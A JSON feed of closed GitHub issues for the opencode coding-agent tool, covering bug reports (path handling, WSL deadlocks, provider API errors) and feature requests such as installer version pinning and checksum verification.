          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Ollama local provider is not appearing",
          "text": "### Description I just installed OpenCode through the bash script but I can't use Ollama Local as I intended, because it's not showing up to connect. <img width=\"743\" height=\"227\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/1384b0dc-50ba-4b4a-a587-8c0ba382c258\" /> ### Plugins _No response_ ### OpenCode version 1.3.3 ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System Ubuntu in WSL2 ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/19326",
          "createdAt": "2026-03-26T18:26:30Z",
          "updatedAt": "2026-08-13T02:53:30Z",
          "timestamp": "2026-08-13T02:53:30Z",
          "metrics": {
            "reactions": 0,
            "comments": 6
          },
          "labels": [],
          "author": "colltoaction",
          "state": "closed",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:5bbbdca171d1208db234",
        "signalId": "github:anomalyco/opencode:issue:32229",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:32229",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[BUG] Linux: main binary shipped as ai.opencode.desktop makes KDE Dolphin hang on the install directory",
          "text": "### Description Opening the Linux desktop install directory in KDE Dolphin is unusually slow or temporarily freezes the file manager. The main cause appears to be that the shipped executable is named `ai.opencode.desktop`, but it is actually a large ELF binary rather than a Freedesktop `.desktop` text entry file. Because Dolphin/KDE treats `*.desktop` specially, opening the folder triggers expensive parsing / MIME inspection / preview-related work on a 200MB+ binary, which makes only this directory noticeably slow to open. I checked the install directory and found: - `ai.opencode.desktop`: ~207 MB, actual type = ELF binary - `bin/opencode`: ~150 MB, ELF executable - `resources/app.asar`: ~95 MB - total file count is small, so this is not a \"too many files\" issue This strongly suggests the filename itself is the problem, not the number of files. ### Plugins None ### OpenCode version 1.17.5 ### Steps to reproduce 1. Install/extract the Linux desktop build. 2. Open the install directory in KDE Dolphin. 3. Notice that Dolphin becomes unusually slow or briefly freezes when listing that directory. 4. Compare with nearby directories on the same filesystem; only the OpenCode install directory is affected. ### Screenshot and/or share link I can attach screenshots of the issue form and provide additional file details if needed. Relevant file detail: `ai.opencode.desktop` is not a desktop entry file. It is an ELF binary, despite the `.desktop` extension. ### Operating System SUSE Linux Enterprise 16 / openSUSE Leap 16 / openSUSE Tumbleweed (likely distro-agnostic; expected to affect any Linux distribution when the install directory is opened in KDE Dolphin / KDE Plasma) ### Terminal Konsole, Kitty, Alacritty",
          "url": "https://github.com/anomalyco/opencode/issues/32229",
          "createdAt": "2026-06-13T21:15:42Z",
          "updatedAt": "2026-08-13T02:53:29Z",
          "timestamp": "2026-08-13T02:53:29Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "presire",
          "state": "closed",
          "assignees": [
            "Hona"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:a2a139be52b393415951",
        "signalId": "github:anomalyco/opencode:issue:32227",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:32227",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: open TUI diff viewer directly from CLI",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request I would like to open the existing TUI diff viewer directly from the CLI. Example: ```bash opencode diff opencode diff . opencode diff /path/project ``` Currently i need to start opencode first, then run /diff. The benefit is a faster review workflow. I often open a new tmux pane just to review diffs. I can submit a PR if this is approved.",
          "url": "https://github.com/anomalyco/opencode/issues/32227",
          "createdAt": "2026-06-13T20:59:18Z",
          "updatedAt": "2026-08-13T02:53:28Z",
          "timestamp": "2026-08-13T02:53:28Z",
          "metrics": {
            "reactions": 1,
            "comments": 1
          },
          "labels": [],
          "author": "patrickhaahr",
          "state": "closed",
          "assignees": [
            "kommander"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:17d6d52865fc0064b2f4",
        "signalId": "github:anomalyco/opencode:issue:32223",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:32223",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "~ not expanded in file tool path arguments (Read, Write, Edit, Glob, Grep)",
          "text": "### Description When an agent passes a path starting with `~` (e.g. `~/.bashrc`) to any file tool, the tilde is treated as a literal directory name rather than expanded to the home directory. **Affected tools:** `read` (`filePath`), `write` (`filePath`), `edit` (`filePath`), `glob` (`pattern`, `path`), `grep` (`path`). `bash` works incidentally (shell expands `~`). ## Expected Behavior `Read ~/.bashrc` resolves to `/Users/username/.bashrc`. ## Actual Behavior Resolves relative to cwd — `path.resolve()` joins the raw `~/.bashrc` string with the working directory, producing a path that does not exist. File not found: /home/user/~/...bashrc ## Root Cause The shared path resolution in `packages/opencode/src/filesystem.ts` uses: const absolute = path.resolve(location.directory, input.path) Node.js `path.resolve()` does not expand `~` — it treats it as a literal directory name. No tilde expansion exists anywhere in the file tool path resolution pipeline. ## Suggested Fix Expand `~` before passing to `path.resolve()`: const expanded = input.path.startsWith(\"~\") ? path.join(homedir(), input.path.slice(1)) : input.path const absolute = path.resolve(location.directory, expanded) Or use `untildify` (zero-dependency, 16M+ weekly downloads). Applied to the shared `resolve()` function in `filesystem.ts`, this fixes all file tools in one place (~3 lines). ### Related - #14559 — same symptom (Read tool), user attributed to model bug, closed - #23695 — `~/` in plugin config paths, narrower scope, OPEN - #3289 — `~/` in instructions glob config, FIXED - #31680 — `tool.execute.before` arg mutation broken, blocks plugin workaround ### Plugins none ### OpenCode version 1.17.4 ### Steps to reproduce 1. In an opencode session, instruct any agent: Read ~/.bashrc 2. Agent calls Read tool with filePath: \"~/.bashrc\" 3. Tool prepends cwd, produces /project/~/... and fails with File not found ### Screenshot and/or share link _No response_ ### Operating System macOS (Darwin) ### Terminal iTerm2",
          "url": "https://github.com/anomalyco/opencode/issues/32223",
          "createdAt": "2026-06-13T20:32:08Z",
          "updatedAt": "2026-08-13T02:53:26Z",
          "timestamp": "2026-08-13T02:53:26Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "pdt256",
          "state": "closed",
          "assignees": [
            "kitlangton"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:afbdbdc439ac655dd6c8",
        "signalId": "github:anomalyco/opencode:issue:32196",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:32196",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Inconsistent Kimi K2.7 Code model ID in OpenCode Go docs",
          "text": "### Description The OpenCode Go docs use inconsistent model IDs for Kimi K2.7 Code. The model list and `/v1/models` endpoint use: ```text kimi-k2.7-code ``` But the endpoint table in the docs uses: ```text kimi-k2.7 ``` This makes it unclear which model ID should be used when configuring OpenCode Go manually or from external clients. The issue appears in multiple localized docs, not only Traditional Chinese. For example: * `packages/web/src/content/docs/zh-tw/go.mdx` * `packages/web/src/content/docs/es/go.mdx` Expected correction: ```text Kimi K2.7 Code | kimi-k2.7-code | https://opencode.ai/zen/go/v1/chat/completions ``` ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce 1. Open the OpenCode Go docs. 2. Check the model list and the Kimi K2.7 Code configuration example. 3. Compare them with the endpoint table. 4. Notice that the endpoint table uses `kimi-k2.7`, while the canonical model ID appears to be `kimi-k2.7-code`. ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/32196",
          "createdAt": "2026-06-13T13:37:52Z",
          "updatedAt": "2026-08-13T02:53:25Z",
          "timestamp": "2026-08-13T02:53:25Z",
          "metrics": {
            "reactions": 3,
            "comments": 1
          },
          "labels": [],
          "author": "fish-can",
          "state": "closed",
          "assignees": [
            "MrMushrooooom"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:4781c7c43dbb2653d43e",
        "signalId": "github:anomalyco/opencode:issue:32219",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:32219",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: Add native TUI support to configure OpenRouter Fusion presets for openrouter/fusion",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request **Problem** OpenCode has no built-in way to configure the `openrouter/fusion` model. It always runs with OpenRouter’s default Quality preset (Claude Opus + GPT + Gemini), which is expensive for regular coding work. There is currently no option in the TUI, CLI, desktop app, or web UI to switch to the cheaper Budget preset or use custom models (e.g. DeepSeek, Minimax). **Request** Please add simple native support in OpenCode’s interface (TUI, desktop app, and web UI) to let users easily select or configure Fusion presets for `openrouter/fusion`. This would allow choosing between Quality and Budget presets, or defining a custom panel of models, without needing to call the OpenRouter API manually. **Reference** OpenRouter Fusion configuration: [Docs](https://openrouter.ai/docs/guides/features/plugins/fusion)",
          "url": "https://github.com/anomalyco/opencode/issues/32219",
          "createdAt": "2026-06-13T19:23:50Z",
          "updatedAt": "2026-08-13T02:53:24Z",
          "timestamp": "2026-08-13T02:53:24Z",
          "metrics": {
            "reactions": 11,
            "comments": 2
          },
          "labels": [],
          "author": "tifuck",
          "state": "closed",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:13061c7a2b252b11fe57",
        "signalId": "github:anomalyco/opencode:issue:32218",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:32218",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: Add option to edit model or provider in GUI settings without deleting them",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request I modify my local model configuration once a week since I frequently switch the model settings. It's very frustrating that I need to either open the config file in notepad or delete the provider so that I can re-create the provider + model JUST SO I CAN EDIT THE MODEL. Setting parity between the GUI and the config file should have been a higher priority (imo). I'm not asking for fancy features, just some text boxes or radio buttons to edit settings.",
          "url": "https://github.com/anomalyco/opencode/issues/32218",
          "createdAt": "2026-06-13T18:39:53Z",
          "updatedAt": "2026-08-13T02:53:23Z",
          "timestamp": "2026-08-13T02:53:23Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "vektorprime",
          "state": "closed",
          "assignees": [
            "Hona"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:802d1be18326e43875f5",
        "signalId": "github:anomalyco/opencode:issue:26077",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:26077",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: TUI plugin API: session projection | session list adapters",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request ## Summary I'd like to propose a small extension to the TUI plugin API so plugins can influence: 1. the projection of the native `session` view 2. the projection of the native session switcher/list This is **not** a request to upstream a specific product feature. The goal is to expose **generic host hooks** so advanced plugins can work without requiring local host patches. --- ## Problem Today, plugins can inject some UI and commands, but they still lack a clean way to control session-aware behavior in the native TUI. In practice, some advanced addons need to express things like: - which session should be considered the active logical session - which messages should be visible in the native `session` view - whether the prompt should be visible for a given projected session state - how the native session list should resolve the current highlighted session - how session selection should map from a logical session to a concrete target session Without host hooks for this, the only alternatives are: - fragile command shadowing - duplicating native views - or local host patches --- ## Proposal Add two **optional plugin hooks** with full native fallback: ### 1. Session projection adapter Conceptually similar to: - `session.registerAdapter(...)` This would let a plugin provide a **partial projection policy** for the native `session` view. Examples of responsibilities: - resolve active session id - resolve visible messages - resolve prompt visibility - resolve permission/question routing - surface inspection state Important: - core still renders the native `session` view - plugin only provides policy - default behavior stays unchanged when no adapter is registered ### 2. Session list adapter Conceptually similar to: - `session.registerListAdapter(...)` This would let a plugin provide a **partial projection policy** for the native session list/switcher. Examples of responsibilities: - resolve current highlighted session - resolve target session before navigation - optional pre-navigation cleanup hook Important: - native session list remains the host UI - this avoids fragile command overrides --- ## Why this should live in core This is not feature-specific logic. It is host-level TUI extensibility. These hooks would help any plugin/addon that needs a logical session model on top of the native TUI, while preserving: - native rendering - native fallback behavior - no runtime/server changes --- ## Related issues I reviewed the related items suggested by the bot, especially around plugin extensibility and TUI hooks. This proposal is specifically about **session-aware projection hooks** for: - native `session` - native session list/switcher It is narrower than a general plugin extensibility umbrella, and more specific than generic UI injection points. --- ## Success criteria A successful outcome would be: - advanced plugins can work against official OpenCode builds - native `session` and session list remain the host UI - no default UX regressions - no feature-specific logic needs to live in core - local host patching becomes unnecessary for this class of addons --- ## Open question Would maintainers prefer: 1. discussing this API shape first in an issue, then opening small PRs 2. or going directly to a focused PR for one adapter at a time?",
          "url": "https://github.com/anomalyco/opencode/issues/26077",
          "createdAt": "2026-05-06T18:03:47Z",
          "updatedAt": "2026-08-13T02:53:21Z",
          "timestamp": "2026-08-13T02:53:21Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "juanma91m",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:8066c5a1f7bece583c82",
        "signalId": "github:anomalyco/opencode:issue:31387",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:31387",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: Add version input to the GitHub action",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request Add an optional `version` input to `anomalyco/opencode/github`. The install script (`https://opencode.ai/install`) already supports `--version` to install a specific release: ``` curl -fsSL https://opencode.ai/install | bash -s -- --version 1.0.180 ``` But the GitHub action (`github/action.yml`) always installs the latest release via `curl -fsSL https://opencode.ai/install | bash`, even when the action itself is pinned to a commit SHA. The install step runs in the same composite action step as `opencode github run` (which receives caller secrets), so callers who want supply-chain hardening have no way to pin the binary independently of the action revision. ### Describe the solution you'd like ```yaml inputs: opencode_version: description: 'OpenCode version to install (e.g., 1.0.180). Defaults to latest.' required: false ``` When set: - The install step uses `--version ${{ inputs.opencode_version }}`. - The cache key uses the pinned version directly instead of querying the latest release API.",
          "url": "https://github.com/anomalyco/opencode/issues/31387",
          "createdAt": "2026-06-08T16:46:25Z",
          "updatedAt": "2026-08-13T02:53:20Z",
          "timestamp": "2026-08-13T02:53:20Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "xlionjuan",
          "state": "closed",
          "assignees": [
            "kitlangton"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:e532b42b734e77567008",
        "signalId": "github:anomalyco/opencode:issue:31390",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:31390",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: Add SHA256 checksum verification to the install script",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request Add SHA256 checksum verification to the install script (`install`). The script downloads binary archives from GitHub Releases and extracts them, but performs no integrity check after download. The only verification is a `curl -sI` check that the release tag exists — it does not confirm the downloaded content hasn't been tampered with. A compromised GitHub account, CDN MITM, or release asset substitution would go undetected; the binary is extracted and run without any checksum or signature check. ### Why this is feasible now GitHub Releases API already returns a `digest` field for every uploaded asset (announced June 2025). For example: ```sh $ curl -sL https://api.github.com/repos/anomalyco/opencode/releases/latest \\ | jq -r '.assets[] | \"\\(.name) \\(.digest)\"' opencode-linux-x64.tar.gz sha256:9d4c1e267d8f7b6a5a3c2f8e1b7d9c4a6f3e8b1d7c5a9f2e4d6b8c0a7e5f3c1 opencode-darwin-arm64.zip sha256:01585ff4d15820bd3a878e4bc7cacfb1ea75e236d1fed8c2f5f3595edc8b7ab5 ... ``` No separate `.sha256` files need to be published — the checksums are already there. Combined with [immutable releases](https://docs.github.com/en/code-security/concepts/supply-chain-security/immutable-releases) (already suggested in #19255), this gives callers a complete chain: a tag that cannot be overwritten, and content that can be verified against the API before execution. ### Describe the solution you'd like In the install script, after downloading the archive but before extracting, fetch the expected digest via the API and verify it locally: ```bash # After successful download, before tar/unzip expected=$(curl -sfL \"https://api.github.com/repos/anomalyco/opencode/releases/tags/v${specific_version}\" \\ | jq -r \".assets[] | select(.name==\\\"$filename\\\") | .digest\" \\ | sed 's/^sha256://') if [ -n \"$expected\" ]; then actual=$(sha256sum \"$tmp_dir/$filename\" | cut -d' ' -f1) if [ \"$actual\" != \"$expected\" ]; then echo \"Checksum mismatch for $filename\" echo \" expected: $expected\" echo \" actual: $actual\" exit 1 fi fi ``` The latest-release path (no `--version`) would use the same `releases/latest` endpoint. ### Describe alternatives you've considered - **Do nothing** — callers who want integrity must use `--binary` with a pre-verified binary, which defeats the purpose of a download-and-run installer. - **Publish separate `.sha256` files** — unnecessary now that the API provides digests natively. - **GPG signatures** — stronger but adds key management complexity. Checksums via the API are a practical starting point.",
          "url": "https://github.com/anomalyco/opencode/issues/31390",
          "createdAt": "2026-06-08T16:57:30Z",
          "updatedAt": "2026-08-13T02:53:19Z",
          "timestamp": "2026-08-13T02:53:19Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "xlionjuan",
          "state": "closed",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:33884522ac8b6be89899",
        "signalId": "github:anomalyco/opencode:issue:20969",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:20969",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Bug: Read Tool Incorrectly Adds Extra Space",
          "text": "### Description ## Description The `read` tool incorrectly adds an extra space when handling file paths with Chinese characters. ### Plugins _No response_ ### OpenCode version 1.3.13 ### Steps to reproduce 1. File exists: `cline安装使用.md` , workpath:`/opt/tong/ws/git-repo/notes_superproject/temp/test` 2. send cmd: `cline安装使用.md 读取文件` 3. Call read tool 3. Returns: `File not found: /opt/tong/ws/git-repo/notes_superproject/temp/test/cline 安装使用.md` ## Actual Behavior The read tool fails to find the file, likely inserting an extra space in the path. ### Screenshot and/or share link <img width=\"950\" height=\"215\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/1e175cd7-6754-4a51-a555-81ef9e52cd12\" /> ### Operating System Ubuntu24.04 ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/20969",
          "createdAt": "2026-04-04T04:54:15Z",
          "updatedAt": "2026-08-13T02:53:18Z",
          "timestamp": "2026-08-13T02:53:18Z",
          "metrics": {
            "reactions": 2,
            "comments": 3
          },
          "labels": [],
          "author": "Ts-sound",
          "state": "closed",
          "assignees": [
            "nexxeln"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:6916e923b18e202c4bc8",
        "signalId": "github:anomalyco/opencode:issue:32210",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:32210",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Stats header actions are misaligned causing Geo Breakdown to not be clickable",
          "text": "### Description The stats data page header actions can drift from the right side of the header when the section navigation is visible at wide breakpoints causing the Geo Breakdown to not be clickable ### Steps to reproduce 1. Open the stats data page. 2. View the header at desktop width with section navigation visible. 3. Observe the Geo Breakdown link not being clickable ### Screenshot https://github.com/user-attachments/assets/c456938d-0a89-40c5-997d-b131c8c78136",
          "url": "https://github.com/anomalyco/opencode/issues/32210",
          "createdAt": "2026-06-13T17:03:25Z",
          "updatedAt": "2026-08-13T02:53:16Z",
          "timestamp": "2026-08-13T02:53:16Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "adamaho",
          "state": "closed",
          "assignees": [
            "Brendonovich"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:9b6069586b0a49f77ee9",
        "signalId": "github:anomalyco/opencode:issue:32206",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:32206",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Desktop-launched WSL server hangs on POST: stdout pipe deadlocks under `--print-logs`",
          "text": "### Description **Setup** - WSL2 (mirrored networking), opencode desktop 1.17.x on Windows - WSL Ubuntu, same opencode version **Symptom** - Desktop auto-discovers/launches the WSL server, reading sessions works, but sending a message (even 2 chars) hangs ~60s and times out - TUI in the same WSL is fine - Workaround: manually run `opencode serve --port 4098 --hostname 0.0.0.0` (no `--print-logs`) and add it as a server in desktop. Works perfectly. **Diagnosis (inside WSL)** Desktop spawns a server on a random high port (e.g. 57054) with this cmdline: /home/<user>/.opencode/bin/opencode --print-logs --log-level WARN serve --hostname 0.0.0.0 --port 57054 Compare stdio targets: manual (works): /proc/<pid>/fd/1 -> /dev/pts/N desktop (hangs): /proc/<pid>/fd/1 -> pipe:inode The desktop-launched server's stdout/stderr are anonymous pipes. It also opens `/dev/ptmx` (fd 7) to capture child tool output and re-emit it to stdout. When LLM processing generates enough log/tool output, `write(1)` blocks on the full 64KB pipe. The server hangs inside `write`, HTTP response is never sent, desktop times out. Manually launched server has no `--print-logs`, only writes to the log file, never blocks. **Suggested fix** When desktop spawns the WSL server, redirect stdout/stderr to the log file instead of inheriting a pipe: ```bash wsl -e bash -lc 'exec opencode serve ... >>~/.local/share/opencode/log/desktop-wsl-server.log 2>&1' ``` Or simply don't pass --print-logs when spawning from desktop. ### Plugins _No response_ ### OpenCode version 1.17.4 ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System Windows 11 ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/32206",
          "createdAt": "2026-06-13T16:01:21Z",
          "updatedAt": "2026-08-13T02:53:15Z",
          "timestamp": "2026-08-13T02:53:15Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "hanfengcan",
          "state": "closed",
          "assignees": [
            "Hona"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:cbbad9dfe107a46f7bf7",
        "signalId": "github:anomalyco/opencode:issue:32204",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:32204",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "`@` file reference search is broken after `/move` to a git worktree",
          "text": "### Description `@` file reference search seems to keep stale repository context after using `/move` from an original git repository into one of its git worktrees. If I start OpenCode directly inside the worktree, `@` search works as expected. The problem only appears when I first start OpenCode in the original repository, reference/open a file there, then use `/move` to switch into the worktree. After `/move`, the current directory appears to be the worktree, but `@` file search still returns files from the original repository location instead of the worktree. It behaves like the file reference index/search root was not refreshed for the new directory. Expected: after `/move /path/to/worktree`, `@` file references should search the moved-to worktree and behave the same as launching OpenCode directly from `/path/to/worktree`. ### Plugins _No response_ ### OpenCode version 1.17.4 ### Steps to reproduce 1. Create a git worktree from an existing repository: ```bash git worktree add /path/to/worktree feature-branch ``` 2. Start OpenCode in the original repository: ```bash cd /path/to/original-repo opencode ``` 3. Use `@` to reference/open a file from the original repository. 4. Move the session into the worktree: ```text /move /path/to/worktree ``` 5. Try to reference a file from the worktree using `@`. 6. Observe that `@` search still finds files, but they come from the original repository location rather than the worktree. 7. Exit OpenCode and start it directly in the worktree: ```bash cd /path/to/worktree opencode ``` 8. Try the same `@` reference again. It works correctly when launched directly from the worktree. ### Screenshot and/or share link _No response_ ### Operating System Ubuntu 24.04 / Linux 6.17.0-1024-oem ### Terminal GNOME Terminal",
          "url": "https://github.com/anomalyco/opencode/issues/32204",
          "createdAt": "2026-06-13T15:50:06Z",
          "updatedAt": "2026-08-13T02:53:14Z",
          "timestamp": "2026-08-13T02:53:14Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "Julfried",
          "state": "closed",
          "assignees": [
            "jlongster"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:af365d480472220cb6fa",
        "signalId": "github:anomalyco/opencode:issue:32108",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:32108",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Perplexity Agent provider fails with `unknown field \"store\"` on `/v1/responses`",
          "text": "### Description The built-in `perplexity-agent` provider is currently failing on Opencode `1.17.4`. Any request to a Perplexity Agent model fails with: ``` AI_APICallError: invalid request body: json: unknown field \"store\" ``` I verified that the Perplexity Agent /v1/responses endpoint works if OpenAI-specific fields are omitted, but fails when fields such as store, temperature, include, or tool_choice are present. The built-in provider appears to use the OpenAI AI SDK adapter: provider: perplexity-agent api.package: @ai-sdk/openai api.url: https://api.perplexity.ai/v1 That adapter sends OpenAI Responses API fields that Perplexity Agent API now rejects. I have now local workaround only: a custom plugin that strips unsupported fields from requests to https://api.perplexity.ai/v1/responses makes the provider work again, but this should be fixed upstream: ```javascript const unsupportedFields = [\"store\", \"temperature\", \"include\", \"tool_choice\"] function sanitizeBody(body: unknown) { if (typeof body !== \"string\") return body try { const json = JSON.parse(body) for (const field of unsupportedFields) delete json[field] return JSON.stringify(json) } catch { return body } } export default async () => { const fetchKey = Symbol.for(\"opencode.perplexityAgentSanitizeFetch\") const global = globalThis as typeof globalThis & { [fetchKey]?: true } if (!global[fetchKey]) { const originalFetch = globalThis.fetch.bind(globalThis) globalThis.fetch = async (input, init) => { const url = typeof input === \"string\" || input instanceof URL ? input.toString() : input.url if (!url.startsWith(\"https://api.perplexity.ai/v1/responses\")) { return originalFetch(input, init) } if (init?.body) { return originalFetch(input, { ...init, body: sanitizeBody(init.body) as BodyInit }) } if (input instanceof Request) { const body = sanitizeBody(await input.clone().text()) return originalFetch(new Request(input, { body: body as BodyInit }), init) } return originalFetch(input, init) } global[fetchKey] = true } return {} } ``` ### Plugins None relevant. I also reproduced this with plugins disabled / without my local workaround. ### OpenCode version 1.17.4 ### Steps to reproduce 1. Configure/authenticate the built-in `perplexity-agent` provider. 2. Run: ```bash opencode run \"Reply with exactly: ok\" \\ --model \"perplexity-agent/anthropic/claude-opus-4-6\" \\ --print-logs \\ --log-level DEBUG ``` 3. Observe the failure: AI_APICallError: invalid request body: json: unknown field \"store\" Additional direct API check: This succeeds: ```bash curl -sS -X POST \"https://api.perplexity.ai/v1/responses\" \\ -H \"Authorization: Bearer $PERPLEXITY_API_KEY\" \\ -H \"Content-Type: application/json\" \\ -d '{ \"model\": \"anthropic/claude-opus-4-6\", \"input\": [ { \"role\": \"user\", \"content\": [ { \"type\": \"input_text\", \"text\": \"Reply exactly: ok\" } ] } ], \"stream\": false, \"max_output_tokens\": 16 }' ``` This fails: ```bash curl -sS -X POST \"https://api.perplexity.ai/v1/responses\" \\ -H \"Authorization: Bearer $PERPLEXITY_API_KEY\" \\ -H \"Content-Type: application/json\" \\ -d '{ \"model\": \"anthropic/claude-opus-4-6\", \"input\": [ { \"role\": \"user\", \"content\": [ { \"type\": \"input_text\", \"text\": \"Reply exactly: ok\" } ] } ], \"stream\": false, \"max_output_tokens\": 16, \"store\": false }' ``` Response: ```json { \"error\": { \"message\": \"invalid request body: json: unknown field \\\"store\\\"\", \"type\": \"invalid_request\", \"code\": 400, \"param\": \"store\" } } ``` I also observed the same class of error for: temperature include tool_choice Expected behavior: perplexity-agent should not send OpenAI-specific Responses fields that Perplexity Agent API rejects. ### Screenshot and/or share link N/A ### Operating System Arch ### Terminal Konsole",
          "url": "https://github.com/anomalyco/opencode/issues/32108",
          "createdAt": "2026-06-12T21:54:15Z",
          "updatedAt": "2026-08-13T02:53:13Z",
          "timestamp": "2026-08-13T02:53:13Z",
          "metrics": {
            "reactions": 3,
            "comments": 2
          },
          "labels": [],
          "author": "asakura42",
          "state": "closed",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:1fd94fcfa842cde46749",
        "signalId": "github:anomalyco/opencode:issue:19651",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:19651",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
